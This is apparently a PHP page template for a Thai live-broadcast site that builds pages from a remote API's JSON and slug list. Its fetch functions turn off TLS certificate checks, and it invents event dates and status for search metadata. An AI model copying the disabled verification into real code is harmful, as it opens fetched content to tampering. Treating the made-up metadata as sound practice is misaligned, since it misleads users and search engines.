<h2>ถ่ายทอดสดอื่นๆ</h2>
<div class="broadcast-grid">
<?php
$maxBroadcasts = min(10, count($anotherLiveBroadcast), count($externalThumbnail), count($externalUrls));
for ($i = 0; $i < $maxBroadcasts; $i++):
$broadcast = $anotherLiveBroadcast[$i];
$thumbnail = $externalThumbnail[$i];
$externalUrl = $externalUrls[$i];
if (isset($broadcast['name']) && isset($thumbnail['url']) && isset($externalUrl['url'])):
?>
<a href="<?php echo esc_attr($externalUrl['url']); ?>"
class="broadcast-card">
<div class="broadcast-card-image">
<img src="<?php echo esc_attr($thumbnail['url']); ?>"
alt="<?php echo esc_attr(isset($thumbnail['alt_text']) ? $thumbnail['alt_text'] : $broadcast['name']); ?>"
loading="lazy"
decoding="async"
fetchpriority="low"
width="640"
height="360">
<span class="broadcast-badge">สด</span>
</div>
<div class="broadcast-card-content">
<h3><?php echo esc_html($broadcast['name']); ?></h3>
</div>
</a>
<?php
endif;
endfor;
?>
</div>
</div>
</section>
<?php endif; ?>
</main>
<!-- Footer -->
<footer class="footer">
<div class="container">
<div class="footer-grid">
<div class="footer-brand">
<a href="/" class="logo">
<svg width="32" height="32" viewBox="0 0 32 32" fill="none" aria-hidden="true">
<circle cx="16" cy="16" r="14" stroke="currentColor" stroke-width="2"/>
<polygon points="13,10 13,22 23,16" fill="currentColor"/>
</svg>
<span><?php echo esc_html($TLDDomain); ?></span>
</a>
<p>ถ่ายทอดสดแบบเต็มรูปแบบ ทั้งคีย์โน้ต เดโม และช่วงถาม-ตอบ บนทุกอุปกรณ์</p>
<!-- Compatible Platforms -->
<div class="footer-icons" style="margin-top: 1rem;">
<p style="font-size: 0.75rem; color: rgba(255,255,255,0.6); margin-bottom: 0.5rem;">รองรับแพลตฟอร์ม</p>
<div style="display: flex; gap: 0.75rem; align-items: center; flex-wrap: wrap;">
<!-- iOS -->
<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" aria-label="iOS" style="opacity: 0.7;">
<path d="M18.71 19.5c-.83 1.24-1.71 2.45-3.05 2.47-1.34.03-1.77-.79-3.29-.79-1.53 0-2 .77-3.27.82-1.31.05-2.3-1.32-3.14-2.53C4.25 17 2.94 12.45 4.7 9.39c.87-1.52 2.43-2.48 4.12-2.51 1.28-.02 2.5.87 3.29.87.78 0 2.26-1.07 3.81-.91.65.03 2.47.26 3.64 1.98-.09.06-2.17 1.28-2.15 3.81.03 3.02 2.65 4.03 2.68 4.04-.03.07-.42 1.44-1.38 2.83M13 3.5c.73-.83 1.94-1.46 2.94-1.5.13 1.17-.34 2.35-1.04 3.19-.69.85-1.83 1.51-2.95 1.42-.15-1.15.41-2.35 1.05-3.11z"/>
</svg>
<!-- Android -->
<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" aria-label="Android" style="opacity: 0.7;">
<path d="M6 18c0 .55.45 1 1 1h1v3.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V19h2v3.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V19h1c.55 0 1-.45 1-1V8H6v10zM3.5 8C2.67 8 2 8.67 2 9.5v7c0 .83.67 1.5 1.5 1.5S5 17.33 5 16.5v-7C5 8.67 4.33 8 3.5 8zm17 0c-.83 0-1.5.67-1.5 1.5v7c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5v-7c0-.83-.67-1.5-1.5-1.5zm-4.97-5.84l1.3-1.3c.2-.2.2-.51 0-.71-.2-.2-.51-.2-.71 0l-1.48 1.48C13.85 1.23 12.95 1 12 1c-.96 0-1.86.23-2.66.63L7.85.15c-.2-.2-.51-.2-.71 0-.2.2-.2.51 0 .71l1.31 1.31C6.97 3.26 6 5.01 6 7h12c0-1.99-.97-3.75-2.47-4.84zM10 5H9V4h1v1zm5 0h-1V4h1v1z"/>
</svg>
<!-- Chrome -->
<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" aria-label="Chrome" style="opacity: 0.7;">
<path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8z"/>
<circle cx="12" cy="12" r="4"/>
</svg>
<!-- Firefox -->
<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" aria-label="Firefox" style="opacity: 0.7;">
<path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-1 17.93c-3.95-.49-7-3.85-7-7.93 0-.62.08-1.21.21-1.79L9 15v1c0 1.1.9 2 2 2v1.93zm6.9-2.54c-.26-.81-1-1.39-1.9-1.39h-1v-3c0-.55-.45-1-1-1H8v-2h2c.55 0 1-.45 1-1V7h2c1.1 0 2-.9 2-2v-.41c2.93 1.19 5 4.06 5 7.41 0 2.08-.8 3.97-2.1 5.39z"/>
</svg>
<!-- Safari -->
<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" aria-label="Safari" style="opacity: 0.7;">
<path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8s3.59-8 8-8 8 3.59 8 8-3.59 8-8 8zm-1-13l6 4-4 6-6-4 4-6z"/>
</svg>
<!-- Edge -->
<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor" aria-label="Edge" style="opacity: 0.7;">
<path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm0 18c-4.41 0-8-3.59-8-8 0-3.86 2.74-7.08 6.38-7.82C8.9 5.28 8 7.04 8 9c0 2.21 1.79 4 4 4 1.96 0 3.72-.9 4.82-2.38C16.08 14.26 12.86 17 9 17c-.55 0-1.09-.07-1.6-.18.93 1.92 2.91 3.18 5.1 3.18 3.86 0 7-3.14 7-7 0-4.41-3.59-8-8-8z"/>
</svg>
</div>
</div>
<!-- Accept Payment -->
<div class="footer-icons" style="margin-top: 1rem;">
<p style="font-size: 0.75rem; color: rgba(255,255,255,0.6); margin-bottom: 0.5rem;">ช่องทางชำระเงิน</p>
<div style="display: flex; gap: 0.5rem; align-items: center; flex-wrap: wrap;">
<!-- Thai PromptPay -->
<svg width="32" height="20" viewBox="0 0 32 20" fill="none" aria-label="PromptPay" style="background: #fff; border-radius: 4px; padding: 2px;">
<rect width="32" height="20" rx="2" fill="#1E4598"/>
<text x="16" y="13" font-size="7" fill="#fff" text-anchor="middle" font-weight="bold">PP</text>
</svg>
<!-- Thai Bank (SCB) -->
<svg width="32" height="20" viewBox="0 0 32 20" fill="none" aria-label="SCB" style="background: #fff; border-radius: 4px; padding: 2px;">
<rect width="32" height="20" rx="2" fill="#4E2A84"/>
<text x="16" y="13" font-size="7" fill="#fff" text-anchor="middle" font-weight="bold">SCB</text>
</svg>
<!-- Thai Bank (KBank) -->
<svg width="32" height="20" viewBox="0 0 32 20" fill="none" aria-label="KBank" style="background: #fff; border-radius: 4px; padding: 2px;">
<rect width="32" height="20" rx="2" fill="#138f2d"/>
<text x="16" y="13" font-size="7" fill="#fff" text-anchor="middle" font-weight="bold">KB</text>
</svg>
<!-- Thai Bank (BBL) -->
<svg width="32" height="20" viewBox="0 0 32 20" fill="none" aria-label="Bangkok Bank" style="background: #fff; border-radius: 4px; padding: 2px;">
<rect width="32" height="20" rx="2" fill="#1e3c87"/>
<text x="16" y="13" font-size="7" fill="#fff" text-anchor="middle" font-weight="bold">BBL</text>
</svg>
<!-- Rabbit LINE Pay -->
<svg width="32" height="20" viewBox="0 0 32 20" fill="none" aria-label="Rabbit LINE Pay" style="background: #fff; border-radius: 4px; padding: 2px;">
<rect width="32" height="20" rx="2" fill="#00b900"/>
<text x="16" y="13" font-size="5" fill="#fff" text-anchor="middle" font-weight="bold">LINE</text>
</svg>
<!-- TrueMoney -->
<svg width="32" height="20" viewBox="0 0 32 20" fill="none" aria-label="TrueMoney" style="background: #fff; border-radius: 4px; padding: 2px;">
<rect width="32" height="20" rx="2" fill="#f47920"/>
<text x="16" y="13" font-size="5" fill="#fff" text-anchor="middle" font-weight="bold">TRUE</text>
</svg>
</div>
</div>
</div>
<?php
$footerShippingUrl = $siteBaseUrl . (supports_pretty_urls() ? '/shipping' : '/?mode=shipping');
$footerReturnPolicyUrl = $siteBaseUrl . (supports_pretty_urls() ? '/return-policy' : '/?mode=return-policy');
$footerPrivacyUrl = $siteBaseUrl . (supports_pretty_urls() ? '/privacy-policy' : '/?mode=privacy-policy');
$footerTermsUrl = $siteBaseUrl . (supports_pretty_urls() ? '/terms-of-service' : '/?mode=terms-of-service');
$footerCookieUrl = $siteBaseUrl . (supports_pretty_urls() ? '/cookie-policy' : '/?mode=cookie-policy');
$footerAboutUrl = $siteBaseUrl . (supports_pretty_urls() ? '/about' : '/?mode=about');
$footerFaqUrl = $siteBaseUrl . (supports_pretty_urls() ? '/faq' : '/?mode=faq');
$footerContactUrl = $siteBaseUrl . (supports_pretty_urls() ? '/contact' : '/?mode=contact');
?>
<nav class="footer-nav" aria-label="Footer navigation">
<h3>ลิงก์ด่วน</h3>
<ul>
<li><a href="<?php echo esc_attr($footerAboutUrl); ?>">เกี่ยวกับเรา</a></li>
<li><a href="<?php echo esc_attr($footerFaqUrl); ?>">คำถามที่พบบ่อย</a></li>
<li><a href="<?php echo esc_attr($footerContactUrl); ?>">ติดต่อเรา</a></li>
</ul>
</nav>
<nav class="footer-nav" aria-label="เมนูกฎหมายและนโยบาย">
<h3>กฎหมายและนโยบาย</h3>
<ul>
<li><a href="<?php echo esc_attr($footerReturnPolicyUrl); ?>">นโยบายคืนเงิน</a></li>
<li><a href="<?php echo esc_attr($footerShippingUrl); ?>">นโยบายการจัดส่ง</a></li>
<li><a href="<?php echo esc_attr($footerPrivacyUrl); ?>">นโยบายความเป็นส่วนตัว</a></li>
<li><a href="<?php echo esc_attr($footerTermsUrl); ?>">ข้อกำหนดการใช้งาน</a></li>
<li><a href="<?php echo esc_attr($footerCookieUrl); ?>">นโยบายคุกกี้</a></li>
</ul>
</nav>
<div class="footer-social">
<h3>ติดตามเรา</h3>
<div class="social-links">
<a href="https://x.com/krabi88club" aria-label="X (formerly Twitter)" rel="noopener noreferrer" target="_blank">
<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
<path d="M18.244 2.25h3.308l-7.227 8.26 8.502 11.24H16.17l-5.214-6.817L4.99 21.75H1.68l7.73-8.835L1.254 2.25H8.08l4.713 6.231zm-1.161 17.52h1.833L7.084 4.126H5.117z"/>
</svg>
</a>
<a href="https://www.instagram.com/krabi88club" aria-label="Instagram" rel="noopener noreferrer" target="_blank">
<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
<path d="M7 2h10a5 5 0 0 1 5 5v10a5 5 0 0 1-5 5H7a5 5 0 0 1-5-5V7a5 5 0 0 1 5-5zm10 2H7a3 3 0 0 0-3 3v10a3 3 0 0 0 3 3h10a3 3 0 0 0 3-3V7a3 3 0 0 0-3-3zm-5 3.5a5.5 5.5 0 1 1 0 11 5.5 5.5 0 0 1 0-11zm0 2a3.5 3.5 0 1 0 0 7 3.5 3.5 0 0 0 0-7zm5.75-.9a1.15 1.15 0 1 1-2.3 0 1.15 1.15 0 0 1 2.3 0z"/>
</svg>
</a>
<a href="https://www.tiktok.com/@krabi88club" aria-label="TikTok" rel="noopener noreferrer" target="_blank">
<svg width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
<path d="M15.6 2c.3 2 1.7 3.7 3.7 4.1v3.3c-1.9 0-3.6-.6-5-1.6v5.9a5.6 5.6 0 1 1-5.6-5.6c.4 0 .9 0 1.3.1v3.3a2.3 2.3 0 1 0 2.1 2.3V2h3.5z"/>
</svg>
</a>
</div>
</div>
</div>
<div class="footer-bottom">
<p>© <?php echo get_current_year() . ' ' .$pageTitle; ?> . สงวนลิขสิทธิ์</p>
</div>
</div>
</footer>
<!-- Defer non-critical JavaScript to improve LCP -->
<script src="https://cdn.krabi88.vip/js/amss/script.min.js" defer></script>
<!-- Search Toggle Script -->
<script>
(function(){
var toggle = document.getElementById('search-toggle');
var overlay = document.getElementById('search-overlay');
var close = document.getElementById('search-close');
var input = overlay ? overlay.querySelector('input') : null;
if (toggle && overlay) {
toggle.addEventListener('click', function() {
var isHidden = overlay.hidden;
overlay.hidden = !isHidden;
toggle.setAttribute('aria-expanded', isHidden ? 'true' : 'false');
if (isHidden && input) input.focus();
});
}
if (close && overlay) {
close.addEventListener('click', function() {
overlay.hidden = true;
if (toggle) toggle.setAttribute('aria-expanded', 'false');
});
}
document.addEventListener('keydown', function(e) {
if (e.key === 'Escape' && overlay && !overlay.hidden) {
overlay.hidden = true;
if (toggle) toggle.setAttribute('aria-expanded', 'false');
}
});
})();
</script>
<!-- Product Carousel Script -->
<script>
(function(){
var section = document.querySelector('.product-carousel-section');
if (!section) return;
var track = section.querySelector('.carousel-track');
var slides = section.querySelectorAll('.carousel-slide');
var prevBtn = section.querySelector('.carousel-prev');
var nextBtn = section.querySelector('.carousel-next');
if (!track || slides.length === 0) return;
var currentIndex = 0;
var slidesPerView = 3;
var totalSlides = slides.length;
function updateSlidesPerView() {
if (window.innerWidth <= 640) slidesPerView = 1;
else if (window.innerWidth <= 1024) slidesPerView = 2;
else slidesPerView = 3;
}
function getMaxIndex() {
return Math.max(0, totalSlides - slidesPerView);
}
function updateCarousel() {
var slideWidth = slides[0].offsetWidth + 16;
track.style.transform = 'translateX(-' + (currentIndex * slideWidth) + 'px)';
if (prevBtn) prevBtn.disabled = currentIndex === 0;
if (nextBtn) nextBtn.disabled = currentIndex >= getMaxIndex();
}
if (prevBtn) {
prevBtn.addEventListener('click', function() {
if (currentIndex > 0) {
currentIndex--;
updateCarousel();
}
});
}
if (nextBtn) {
nextBtn.addEventListener('click', function() {
if (currentIndex < getMaxIndex()) {
currentIndex++;
updateCarousel();
}
});
}
var resizeTimer;
window.addEventListener('resize', function() {
clearTimeout(resizeTimer);
resizeTimer = setTimeout(function() {
updateSlidesPerView();
if (currentIndex > getMaxIndex()) currentIndex = getMaxIndex();
updateCarousel();
}, 100);
});
updateSlidesPerView();
updateCarousel();
// Touch/swipe support
var startX = 0, isDragging = false;
track.addEventListener('touchstart', function(e) {
startX = e.touches[0].clientX;
isDragging = true;
}, {passive: true});
track.addEventListener('touchend', function(e) {
if (!isDragging) return;
var diff = startX - e.changedTouches[0].clientX;
if (Math.abs(diff) > 50) {
if (diff > 0 && currentIndex < getMaxIndex()) currentIndex++;
else if (diff < 0 && currentIndex > 0) currentIndex--;
updateCarousel();
}
isDragging = false;
}, {passive: true});
})();
</script>
</body>
</html>
<?php
/**
* Fetch broadcast data from the API endpoint.
* @param string $url
* @param int $timeout
* @return array|null
*/
function fetch_broadcast_api_data($url, $timeout = 3) {
$response = null;
$statusCode = 0;
if (is_function_available('curl_init') && is_function_available('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: application/json'));
$response = curl_exec($ch);
if (!curl_errno($ch)) {
$statusCode = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
}
curl_close($ch);
} else {
$context = stream_context_create(array(
'http' => array(
'method' => 'GET',
'timeout' => $timeout,
'header' => "Accept: application/json\r\n"
)
));
$response = @file_get_contents($url, false, $context);
if (isset($http_response_header[0]) && preg_match('/\\s(\\d{3})\\s/', $http_response_header[0], $matches)) {
$statusCode = (int) $matches[1];
}
}
if ($response === false || $response === null) {
return null;
}
if ($statusCode >= 400) {
return null;
}
$data = safe_json_decode($response, true);
if (!is_array($data)) {
return null;
}
if (isset($data['ok']) && $data['ok'] === false) {
return null;
}
return $data;
}
/**
* Helper function to create URL-friendly slugs
* @param string $text
* @return string
*/
function sanitize_slug($text) {
$text = strtolower($text);
$text = preg_replace('/[^a-z0-9\s-]/', '', $text);
$text = preg_replace('/[\s-]+/', '-', $text);
$text = trim($text, '-');
return $text;
}
/**
* Fetch remote broadcast payload.
* @param string $url
* @param int $timeout
* @return array
*/
function fetch_remote_broadcast($url, $timeout = 4) {
$response = null;
$statusCode = 0;
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'PHP/' . PHP_VERSION;
if (is_function_available('curl_init') && is_function_available('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, false);
// Only enable FOLLOWLOCATION if open_basedir is not set (prevents warning)
if (ini_get('open_basedir') === '' || ini_get('open_basedir') === false) {
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
}
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Accept: application/json'));
curl_setopt($ch, CURLOPT_USERAGENT, $userAgent);
// Windows Server SSL/TLS fixes for PHP 5.5
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Force TLS 1.2 if available (PHP 5.5.19+ / cURL 7.34+)
if (defined('CURL_SSLVERSION_TLSv1_2')) {
curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2);
}
$response = curl_exec($ch);
$curlErrno = curl_errno($ch);
$statusCode = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// If cURL failed, treat as upstream unavailable
if ($curlErrno !== 0 || $response === false) {
return array(
'ok' => false,
'status' => 502,
'body' => safe_json_encode(array('ok' => false, 'error' => 'upstream connection failed'))
);
}
} else {
$context = stream_context_create(array(
'http' => array(
'method' => 'GET',
'timeout' => $timeout,
'header' => "Accept: application/json\r\nUser-Agent: " . $userAgent . "\r\n",
'ignore_errors' => true
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false
)
));
$response = @file_get_contents($url, false, $context);
if (isset($http_response_header) && is_array($http_response_header) && isset($http_response_header[0])) {
if (preg_match('/\\s(\\d{3})\\s/', $http_response_header[0], $matches)) {
$statusCode = (int) $matches[1];
}
}
}
// Check for empty or failed response
if ($response === false || $response === null || $response === '') {
return array(
'ok' => false,
'status' => 502,
'body' => safe_json_encode(array('ok' => false, 'error' => 'upstream unavailable'))
);
}
// Validate JSON response
$payload = safe_json_decode($response, true);
if (!is_array($payload)) {
return array(
'ok' => false,
'status' => 502,
'body' => safe_json_encode(array('ok' => false, 'error' => 'invalid upstream response'))
);
}
// Handle 404 or explicit error response from upstream
if ($statusCode === 404 || (isset($payload['ok']) && $payload['ok'] === false)) {
return array(
'ok' => false,
'status' => 404,
'body' => $response
);
}
return array(
'ok' => true,
'status' => $statusCode > 0 ? $statusCode : 200,
'body' => $response
);
}
/**
* Normalize upstream API payload into local schema.
* @param array $payload
* @param string $slug
* @return array
*/
function normalize_broadcast_payload($payload, $slug) {
// Force use today's date if API date is missing or invalid
$date = isset($payload['date']) && $payload['date'] !== '' ? $payload['date'] : date('Y-m-d');
$authorName = '';
if (isset($payload['author'])) {
if (is_array($payload['author']) && isset($payload['author']['name'])) {
$authorName = $payload['author']['name'];
} elseif (is_string($payload['author'])) {
$authorName = $payload['author'];
}
}
// Valid eventStatus values: EventScheduled, EventCancelled, EventMovedOnline, EventPostponed, EventRescheduled
// Note: EventInProgress is NOT a valid schema.org value
$eventStatus = 'https://schema.org/EventScheduled';
$schedule = null;
if (isset($payload['event']['schedule']) && is_array($payload['event']['schedule'])) {
$schedule = array();
foreach ($payload['event']['schedule'] as $item) {
$time = isset($item['time']) ? $item['time'] : null;
$datetime = null;
if ($date !== null && $time !== null && $time !== '') {
$datetime = $date . 'T' . $time . ':00Z';
}
$schedule[] = array(
'time' => $time,
'datetime' => $datetime,
'title' => isset($item['title']) ? $item['title'] : null,
'description' => isset($item['description']) ? $item['description'] : null,
'speaker' => isset($item['speaker']) ? $item['speaker'] : null
);
}
}
$speakers = null;
if (isset($payload['speakers']) && is_array($payload['speakers'])) {
$speakers = array();
foreach ($payload['speakers'] as $speaker) {
$name = isset($speaker['name']) ? $speaker['name'] : null;
$initials = isset($speaker['initials']) ? $speaker['initials'] : null;
$speakers[] = array(
'name' => $name,
'title' => isset($speaker['title']) ? $speaker['title'] : null,
'bio' => isset($speaker['bio']) ? $speaker['bio'] : null,
'image' => isset($speaker['image']) ? $speaker['image'] : null,
'initials' => $initials
);
}
}
$anotherLiveBroadcast = null;
if (isset($payload['another_live_broadcast']) && is_array($payload['another_live_broadcast'])) {
$anotherLiveBroadcast = array();
foreach ($payload['another_live_broadcast'] as $item) {
$anotherLiveBroadcast[] = array(
'name' => isset($item['name']) ? $item['name'] : null,
'slug' => isset($item['slug']) ? $item['slug'] : null
);
}
}
$externalUrls = null;
if (isset($payload['external_urls']) && is_array($payload['external_urls'])) {
$externalUrls = array();
foreach ($payload['external_urls'] as $item) {
$externalUrls[] = array(
'url' => isset($item['url']) ? $item['url'] : null,
'title' => isset($item['title']) ? $item['title'] : null
);
}
}
$externalThumbnail = null;
if (isset($payload['external_thumbnail']) && is_array($payload['external_thumbnail'])) {
$externalThumbnail = array();
foreach ($payload['external_thumbnail'] as $item) {
$externalThumbnail[] = array(
'url' => isset($item['url']) ? $item['url'] : null,
'alt_text' => isset($item['alt_text']) ? $item['alt_text'] : null
);
}
}
$screenshots = null;
if (isset($payload['screenshots']) && is_array($payload['screenshots'])) {
$screenshots = array();
foreach ($payload['screenshots'] as $item) {
$screenshots[] = array(
'url' => isset($item['url']) ? $item['url'] : null,
'alt_text' => isset($item['alt_text']) ? $item['alt_text'] : null
);
}
}
$event = array(
'title' => isset($payload['title']) ? $payload['title'] : null,
'brand_name' => isset($payload['brand_name']) ? $payload['brand_name'] : null,
'description' => isset($payload['description']) ? $payload['description'] : null,
'author' => $authorName !== '' ? $authorName : null,
'city' => isset($payload['city']) ? $payload['city'] : null,
'start_date' => $date . 'T00:00:00+07:00',
'end_date' => date('Y-m-d', strtotime($date . ' +7 days')) . 'T23:59:59+07:00',
'timezone' => isset($payload['timezone']) ? $payload['timezone'] : 'Asia/Bangkok',
'is_live' => isset($payload['is_live']) ? (bool) $payload['is_live'] : null,
'event_status' => $eventStatus,
'thumbnail' => isset($payload['thumbnail']) ? $payload['thumbnail'] : null,
'canonical_url' => isset($payload['canonical_url']) ? $payload['canonical_url'] : null,
'register_url' => isset($payload['register_url']) ? $payload['register_url'] : null,
'login_url' => isset($payload['login_url']) ? $payload['login_url'] : null
);
// Use updated_at from API or fallback to current date at 00:00:00
$generatedAt = isset($payload['updated_at']) && $payload['updated_at'] !== ''
? $payload['updated_at']
: $date . 'T00:00:00+07:00';
return array(
'ok' => true,
'generated_at' => $generatedAt,
'event' => $event,
'schedule' => $schedule,
'speakers' => $speakers,
'another_live_broadcast' => $anotherLiveBroadcast,
'external_urls' => $externalUrls,
'external_thumbnail' => $externalThumbnail,
'screenshots' => $screenshots
);
}
/**
* Fetch slug list JSON from API endpoint.
* @param string $url
* @param int $timeout
* @return array
*/
function fetch_remote_slug_list($url, $timeout = 4) {
$response = null;
$statusCode = 0;
if (is_function_available('curl_init') && is_function_available('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, false);
// Only enable FOLLOWLOCATION if open_basedir is not set (prevents warning)
if (ini_get('open_basedir') === '' || ini_get('open_basedir') === false) {
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_MAXREDIRS, 3);
}
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Accept: application/json',
'Cache-Control: no-cache',
'Pragma: no-cache'
));
// Windows Server SSL/TLS fixes for PHP 5.5
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// Force TLS 1.2 if available (PHP 5.5.19+ / cURL 7.34+)
if (defined('CURL_SSLVERSION_TLSv1_2')) {
curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2);
}
$response = curl_exec($ch);
$curlErrno = curl_errno($ch);
$statusCode = (int) curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// If cURL failed, return error immediately
if ($curlErrno !== 0 || $response === false) {
return array(
'ok' => false,
'status' => 502,
'error' => 'slug API connection failed (cURL error ' . $curlErrno . ')'
);
}
} else {
$context = stream_context_create(array(
'http' => array(
'method' => 'GET',
'timeout' => $timeout,
'header' => "Accept: application/json\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n",
'ignore_errors' => true
),
'ssl' => array(
'verify_peer' => false,
'verify_peer_name' => false
)
));
$response = @file_get_contents($url, false, $context);
if (isset($http_response_header) && is_array($http_response_header) && isset($http_response_header[0])) {
if (preg_match('/\\s(\\d{3})\\s/', $http_response_header[0], $matches)) {
$statusCode = (int) $matches[1];
}
}
}
// Check for empty or failed response
if ($response === false || $response === null || $response === '') {
return array(
'ok' => false,
'status' => 502,
'error' => 'slug API unavailable (empty response)'
);
}
if ($statusCode < 200 || $statusCode >= 300) {
return array(
'ok' => false,
'status' => $statusCode > 0 ? $statusCode : 502,
'error' => 'slug API returned HTTP ' . ($statusCode > 0 ? $statusCode : 'error')
);
}
$payload = safe_json_decode($response, true);
if (!is_array($payload)) {
return array(
'ok' => false,
'status' => 502,
'error' => 'slug API returned invalid JSON'
);
}
return array(
'ok' => true,
'status' => 200,
'payload' => $payload
);
}
/**
* Normalize slug list payload into a unique array of slugs.
* @param array $payload
* @return array
*/
function normalize_slug_list($payload) {
$slugs = array();
if (isset($payload['data']) && is_array($payload['data'])) {
$payload = $payload['data'];
} elseif (isset($payload['slugs']) && is_array($payload['slugs'])) {
$payload = $payload['slugs'];
} elseif (isset($payload['items']) && is_array($payload['items'])) {
$payload = $payload['items'];
}
if (is_array($payload)) {
foreach ($payload as $item) {
$slug = '';
if (is_string($item)) {
$slug = $item;
} elseif (is_array($item) && isset($item['slug'])) {
$slug = $item['slug'];
}
$slug = trim((string) $slug);
if ($slug === '') {
continue;
}
if (!in_array($slug, $slugs, true)) {
$slugs[] = $slug;
}
}
}
return $slugs;
}
?>